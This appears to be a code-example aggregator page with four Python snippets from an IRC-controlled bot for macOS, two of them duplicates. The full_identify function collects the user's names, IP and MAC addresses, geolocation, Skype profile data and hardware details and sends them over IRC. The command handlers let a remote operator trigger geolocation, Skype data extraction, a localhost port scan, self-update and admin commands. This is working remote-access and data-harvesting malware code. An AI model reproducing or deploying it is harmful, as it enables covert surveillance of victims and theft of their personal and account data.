Exemplo n.º 1
0
def full_identify():  # give verbose identifying info about the host computer
    log('[+] Running v%s Identification Modules...' % version)
    privmsg('[+] Running v%s Identification Modules...' % version)
    system = platform.mac_ver()[0]
    if len(str(system)) < 1:
        system = platform.platform()
        log('[>]    System:    ', system)
        privmsg('[>]      System:    %s' % system)
    else:
        log('[>]    OS X:    ', system)
        privmsg('[>]      OS X:    %s' % system)

    log('[>]    Bot:    ', local_user)
    privmsg('[>]      Bot:    %s' % local_user)

    log('[>]      User:    %s (%s)' % (main_user_full, main_user))
    privmsg('[>]      User:    %s (%s)' % (main_user_full, main_user))

    log('[>]    Host:    ', hostname)
    privmsg('[>]      Host:    %s' % hostname)

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        local_ip = s.getsockname()[0]
        s.close()
    except Exception as ip_error:
        local_ip = ip_error
    log('[>]    Local:   ', local_ip)
    privmsg('[>]      Local:   %s' % local_ip)
    try:
        public_ip = urllib2.urlopen('http://checkip.dyndns.org:8245/').read(
        ).split(": ")[1].split("<")[0].strip()
    except Exception as url_error:
        public_ip = url_error
    log('[>]    Public:  ', public_ip)
    privmsg('[>]      Public:  %s' % public_ip)

    mac_addr = ':'.join([
        '{:02x}'.format((uuid.getnode() >> i) & 0xff)
        for i in range(0, 8 * 6, 8)
    ][::-1])
    log('[>]    MAC:     ', mac_addr)
    privmsg('[>]      MAC:     %s' % mac_addr)

    cmd = "system_profiler SPPowerDataType | grep Connected"
    for line in run_shell(cmd):
        log('[>]    Power:    ', line)
        privmsg('[>]      Power:    %s' % line)

    cmd = "uptime"
    for line in run_shell(cmd):
        log('[>]    UP:    ', line)
        privmsg('[>]      Up:    %s' % line)

    geo_info = geo_locate()
    location = geo_info[0] + ", " + geo_info[1] + " (" + str(
        geo_info[4]) + ", " + str(geo_info[5]) + ")"

    log('[>]    Geoip:    ', location)
    privmsg('[>]      Location:    %s' % location)

    try:
        db_path = skype.findProfiles(main_user)
        log('[>]    Skype:    ')
        privmsg('[>]      Skype:')
        for line in skype.skypeProfile(db_path):
            log('[>]              ', line)
            privmsg('[>]         %s' % line)
            sleep(1)
    except:
        log('[>]    Skype:    None Found.')
        privmsg('[>]      Skype:    None Found.')

    cmd = "system_profiler SPHardwareDataType"
    log('[>]    CMD:     ', cmd)
    p = Popen([cmd],
              shell=True,
              stdout=PIPE,
              stderr=STDOUT,
              executable='/bin/bash')
    hardware = p.stdout.read()
    log('[>]    Hardware.')
    privmsg(str(hardware))

    privmsg('[√] Done.')
Exemplo n.º 2
0
def full_identify():                                                            # give verbose identifying info about the host computer
    log('[+] Running v%s Identification Modules...' % version)
    privmsg('[+] Running v%s Identification Modules...' % version)
    system = platform.mac_ver()[0]
    if len(str(system)) < 1:
        system = platform.platform()
        log('[>]    System:    ', system)
        privmsg('[>]      System:    %s' % system)
    else:
        log('[>]    OS X:    ', system)
        privmsg('[>]      OS X:    %s' % system)

    log('[>]    Bot:    ', local_user)
    privmsg('[>]      Bot:    %s' % local_user)

    log('[>]      User:    %s (%s)' % (main_user_full, main_user))
    privmsg('[>]      User:    %s (%s)' % (main_user_full, main_user))

    log('[>]    Host:    ', hostname)
    privmsg('[>]      Host:    %s' % hostname)

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8",80))
        local_ip = s.getsockname()[0]
        s.close()
    except Exception as ip_error:
        local_ip = ip_error
    log('[>]    Local:   ', local_ip)
    privmsg('[>]      Local:   %s' % local_ip)
    try:
        public_ip = urllib2.urlopen('http://checkip.dyndns.org:8245/').read().split(": ")[1].split("<")[0].strip()
    except Exception as url_error:
        public_ip = url_error
    log('[>]    Public:  ', public_ip)
    privmsg('[>]      Public:  %s' % public_ip)
    
    mac_addr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
    log('[>]    MAC:     ', mac_addr)
    privmsg('[>]      MAC:     %s' % mac_addr)
    
    cmd = "system_profiler SPPowerDataType | grep Connected"
    for line in run_shell(cmd):
        log('[>]    Power:    ', line)
        privmsg('[>]      Power:    %s' % line)
    
    cmd = "uptime"
    for line in run_shell(cmd):
        log('[>]    UP:    ', line)
        privmsg('[>]      Up:    %s' % line)

    geo_info = geo_locate()
    location = geo_info[0]+", "+geo_info[1]+" ("+str(geo_info[4])+", "+str(geo_info[5])+")"

    log('[>]    Geoip:    ', location)
    privmsg('[>]      Location:    %s' % location)

    try:
        db_path = skype.findProfiles(main_user)
        log('[>]    Skype:    ')
        privmsg('[>]      Skype:')
        for line in skype.skypeProfile(db_path):
            log('[>]              ', line)
            privmsg('[>]         %s' % line)
            sleep(1)
    except:
        log('[>]    Skype:    None Found.')
        privmsg('[>]      Skype:    None Found.')
    
    cmd = "system_profiler SPHardwareDataType"
    log('[>]    CMD:     ',cmd)
    p = Popen([cmd],shell=True, stdout=PIPE, stderr=STDOUT, executable='/bin/bash')
    hardware = p.stdout.read()
    log('[>]    Hardware.')
    privmsg(str(hardware))
    
    privmsg('[√] Done.')
Exemplo n.º 3
0
                            reload_bot()

                        elif content == '!status':
                            broadcast(
                                status_report(irc, connection_time, reconnects,
                                              last_ping))

                        elif content == '!geo':
                            location = str(geo_locate())
                            broadcast(location)

                        elif content == '!skype':
                            try:
                                output = ""
                                for line in skype.skypeProfile(
                                        skype.findProfiles(main_user)):
                                    if line[:
                                            3] != "['/" and line != "[*] -- Found Account --":
                                        output += line
                                broadcast(output)
                            except Exception as error:
                                broadcast(str(error))

                        elif content == '!portscan':
                            log("[+] Starting Portscan of localhost.")
                            for line in network.portscan('localhost'):
                                log("[>]    %s" % line)
                                if str(line)[:1] == "[":
                                    broadcast(line)
                            log("[+] Finished Portscan.")
Exemplo n.º 4
0
                            selfupdate()

                        elif content == '!reload':
                            reload_bot()

                        elif content == '!status':
                            broadcast(status_report(irc, connection_time, reconnects, last_ping))

                        elif content == '!geo':
                            location = str(geo_locate())
                            broadcast(location)

                        elif content == '!skype':
                            try:
                                output = ""
                                for line in skype.skypeProfile(skype.findProfiles(main_user)):
                                    if line[:3] != "['/" and line != "[*] -- Found Account --":
                                        output += line
                                broadcast(output)
                            except Exception as error:
                                broadcast(str(error))

                        elif content == '!portscan':
                            log("[+] Starting Portscan of localhost.")
                            for line in network.portscan('localhost'):
                                log("[>]    %s" % line)
                                if str(line)[:1] == "[":
                                    broadcast(line)
                            log("[+] Finished Portscan.")

                        elif content[:6] == 'admin$':